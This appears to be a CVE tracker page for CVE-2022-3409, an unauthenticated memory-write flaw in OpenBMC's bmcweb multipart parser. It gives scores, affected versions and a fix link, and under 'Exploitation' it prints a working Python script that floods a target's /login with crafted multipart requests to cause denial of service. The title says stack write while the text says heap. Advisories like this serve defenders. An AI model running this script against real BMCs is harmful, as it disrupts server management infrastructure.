CVE-2022-3409
Unauthenticated out of bounds stack write in bmcweb
- Published
- Updated
- Reserved
- Assigned by
- OpenBMC
Description
A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. This vulnerability was identified during mitigation for CVE-2022-2809. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
Scores
| Scored by | CVSS | Score | Vector |
|---|---|---|---|
| OpenBMCCNA (assigner) | 3.1 | High8.2 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H |
| NVDNVD · Modified | 3.1 | High7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
- EPSS (exploitation in 30 days)
- 0.77% · top 44% of all CVEs (6 Nov 2026)
- CISA SSVC
- Exploitation: none · Automatable: yes · Technical impact: partial
The list uses the assigner's score when there is one, then CISA's, then NVD's: High 8.2.
Weakness
Affected products
- affected 2.10 – < Release*
What to do
Solution: https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56868
Exploitation: import socket import ssl import time HOST = "" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB PORT = 443 length = 322 additional = "" payload = """POST /login HTTP/1.1\r\nHost: <HOST-IP-ADDR-HERE>:8080\r\nUser-Agent: curl/7.58.0\r\nAccept: */*\r\nContent-Length: %s\r\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\r\n\r\n-----------------------------d74496d66958873e\r\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\r\n\r\n""" if __name__ == "__main__": while(True): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE) client.connect((HOST, PORT)) toSend = payload % (str(length), additional) print(toSend) client.send(toSend.encode('utf-8')) print(client.recv(4096)) client.close() time.sleep(0.01) length += 1 additional += "a"
References (1)
Sources
The same CVE in the primary databases and aggregators, to check against.
- CVE.org record (opens in a new tab)
- CVE List JSON (GitHub) (opens in a new tab)
- NVD (opens in a new tab)
- FIRST EPSS (opens in a new tab)
- OSV.dev (opens in a new tab)
- GitHub Advisories (opens in a new tab)
- CIRCL Vulnerability-Lookup (opens in a new tab)
Badge for a README or a ticket
[](https://trackcve.app/cve/CVE-2022-3409)Record last updated .